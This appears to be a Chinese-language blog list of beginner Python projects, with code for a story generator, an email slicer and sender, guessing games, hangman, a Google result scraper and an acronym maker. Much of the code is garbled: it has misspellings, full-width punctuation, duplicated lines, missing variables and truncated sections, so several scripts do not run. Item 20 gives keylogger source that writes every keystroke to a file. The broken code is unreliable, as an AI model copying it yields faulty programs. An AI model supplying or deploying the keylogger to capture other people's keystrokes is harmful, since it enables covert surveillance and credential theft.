random模块可以用来选择故事的随机部分，内容来自每个列表里。

import random
when=['A few years ago'， 'Yesterday'， 'Last night', 'A long time ago' , 'On 20th Jan']
who=['a rabbit','an elephant', 'a mouse', 'a turtle', 'a cat']
name=[ 'Ali '，"Miriam' , "danicL','Hoouk",‘Starwalker'1
residence-[ 'Barcelona' , " India','Germany'，'Venice', 'England']
went= [ 'cinema',"university' , ' seminar', 'school'，'laundry ']
happened =['made a lot of friends' , 'Eats a burger','found a secret key', ' solved a mistery'，" wrote a book"]
print( random.choice(when) + ',' +random.choice(who) + ' that lived in ' +
random.choice(residence) +', went to the ' + random.choice(went) + ' and ' +
random.choice(happened))
-----------------------------------------OUTPUT-----------------------------------------
A long time ago, a cat that lived in England， went to the seminar and solved a mistery

3、邮件地址切片器

编写一个Python脚本，可以从邮件地址中获取用户名和域名。

使用@作为分隔符，将地址分为分为两个字符串。

#Get the user 's email address
email = input("what is your email address ?: ").strip()
# Slice out the user name
email = input("what is your email address ?: ").strip()
# Slice out the user name
domain_name = email[email.index("a")+1:]
#Format message
res = f"Your username is '{user_name}’ and your domain name is '{domain_name}"
# Display the result message
print(res)
--------------------------------OUTPUT------------------------------------------
what is your email address?: karl31agmail.com
Your username is "karl31" and your domain name is 'gmail.com

email['from'] = 'xyz name'   ## Person who is sending
email['to'] = 'xyz id'       ## Whom we are sending
email['subject'] = 'xyz subject'  ## Subject of email
email.set_content("Xyz content of email") ## content of email
with smtlib.SMTP(host='smtp.gmail.com',port=587)as smtp:     
## sending request to server 
    smtp.ehlo()          ## server object
smtp.starttls()      ## used to send data between server and client
smtp.login("email_id","Password") ## login id and password of gmail
smtp.send_message(email)   ## Sending email
print("email send")    ## Printing success message

6、猜数字游戏

在这个游戏中，任务是创建一个脚本，能够在一个范围内生成一个随机数。如果用户在三次机会中猜对了数字，那么用户赢得游戏，否则用户输。

生成一个随机数，然后使用循环给用户三次猜测机会，根据用户的猜测打印最终的结果。

import random
nunber = random.randint(1,10)
for i in range(e,3):
    user =int(input("guess the number"))
    if user -number:
       print("Hurray H")
       print(f"you guessed the number right it's {number}")
       break
    elif user>number:
       print("Your guess is too high")
    elif userenuimber:
       print(Your guess is too low.")
else:
    print(f"Nice Try!,but the number is {number}")

7、石头剪刀布游戏

创建一个命令行游戏，游戏者可以在石头、剪刀和布之间进行选择，与计算机PK。如果游戏者赢了，得分就会添加，直到结束游戏时，最终的分数会展示给游戏者。

接收游戏者的选择，并且与计算机的选择进行比较。计算机的选择是从选择列表中随机选取的。如果游戏者获胜，则增加1分。

import random
choices = ["Rock", "Paper", "Scissors"]
computer = random.choice(choices)
player = False
cpu_score = 0
player_score = 0
while True:
    player = input("Rock, Paper or  Scissors?").capitalize()
    # 判断游戏者和电脑的选择
    if player == computer:
        print("Tie!")
    elif player == "Rock":
        if computer == "Paper":
            print("You lose!", computer, "covers", player)
            cpu_score+=1
        else:
            print("You win!", player, "smashes", computer)
            player_score+=1
    elif player == "Paper":
        if computer == "Scissors":
            print("You lose!", computer, "cut", player)
            cpu_score+=1
        else:
            print("You win!", player, "covers", computer)
            player_score+=1
    elif player == "Scissors":
        if computer == "Rock":
            print("You lose...", computer, "smashes", player)
            cpu_score+=1
        else:
            print("You win!", player, "cut", computer)
            player_score+=1
    elif player=='E':
        print("Final Scores:")
        print(f"CPU:{cpu_score}")
        print(f"Plaer:{player_score}")
        break
    else:
        print("That's not a valid play. Check your spelling!")
    computer = random.choice(choices)

17、Hangman

创建一个简单的命令行hangman游戏。

创建一个密码词的列表并随机选择一个单词。现在将每个单词用下划线“”表示，给用户提供猜单词的机会，如果用户猜对了单词，则将“”用单词替换。

import time
import random
name = input("What is your name? ")
print ("Hello, " + name, "Time to play hangman!")
time.sleep(1)
print ("Start guessing...\n")
time.sleep(0.5)
## A List Of Secret Words
words = ['python','programming','treasure','creative','medium','horror']
word = random.choice(words)
guesses = ''
turns = 5
while turns > 0:         
    failed = 0             
    for char in word:      
        if char in guesses:    
            print (char,end="")    
        else:
            print ("_",end=""),     
            failed += 1    
    if failed == 0:        
        print ("\nYou won") 
        break              
    guess = input("\nguess a character:") 
    guesses += guess                    
    if guess not in word:  
        turns -= 1        
        print("\nWrong")    
        print("\nYou have", + turns, 'more guesses') 
        if turns == 0:           
            print ("\nYou Lose") 

18、文章朗读器

  soup = BeautifulSoup(res.text,'html.parser')
  articles = []
  for i in range(len(soup.select('.p'))):
    article = soup.select('.p')[i].getText().strip()
    articles.append(article)
    contents = " ".join(articles)
  return contents
engine = pyttsx3.init('sapi5')
voices = engine.getProperty('voices')
engine.setProperty('voice', voices[0].id)

def speak(audio):
  engine.say(audio)
  engine.runAndWait()

contents = content(url)
## print(contents)      ## In case you want to see the content

#engine.save_to_file
#engine.runAndWait() ## In case if you want to save the article as a audio file

19、获取谷歌搜索结果

创建一个脚本，可以根据查询条件从谷歌搜索获取数据。

from bs4 import BeautifulSoup 
import requests

headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3'}
def google(query):
    query = query.replace(" ","+")
    try:
        url = f'https://www.google.com/search?q={query}&oq={query}&aqs=chrome..69i57j46j69i59j35i39j0j46j0l2.4948j0j7&sourceid=chrome&ie=UTF-8'
        res = requests.get(url,headers=headers)
        soup = BeautifulSoup(res.text,'html.parser')
    except:
        print("Make sure you have a internet connection")
    try:
        try:
            ans = soup.select('.RqBzHd')[0].getText().strip()

        except:
            try:
                title=soup.select('.AZCkJd')[0].getText().strip()
                try:
                    ans=soup.select('.e24Kjd')[0].getText().strip()
                except:
                    ans=""
                ans=f'{title}\n{ans}'

            except:
                try:
                    ans=soup.select('.hgKElc')[0].getText().strip()
                except:
                    ans=soup.select('.kno-rdesc span')[0].getText().strip()

    except:
        ans = "can't find on google"
    return ans

result = google(str(input("Query\n")))
print(result)

获取结果如下

20、键盘记录器

编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。

pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener
import time
keyboard = Controller()


keys=[]
def on_press(key):
    global keys
    #keys.append(str(key).replace("'",""))
    string = str(key).replace("'","")
    keys.append(string)
    main_string = "".join(keys)
    print(main_string)
    if len(main_string)>15:
      with open('keys.txt', 'a') as f:
          f.write(main_string)   
          keys= []     
def on_release(key):
    if key == Key.esc:
        return False

with listener(on_press=on_press,on_release=on_release) as listener:
    listener.join()

21、缩写词

编写一个Python脚本，从给定的句子生成一个缩写词。

你可以通过拆分和索引来获取第一个单词，然后将其组合。

text = str(input("Enter a stringin"))
text = text.splitO
acronym = ""
for i in text:
acronym = acronymstr(i[e3).upperOprint(acronym)
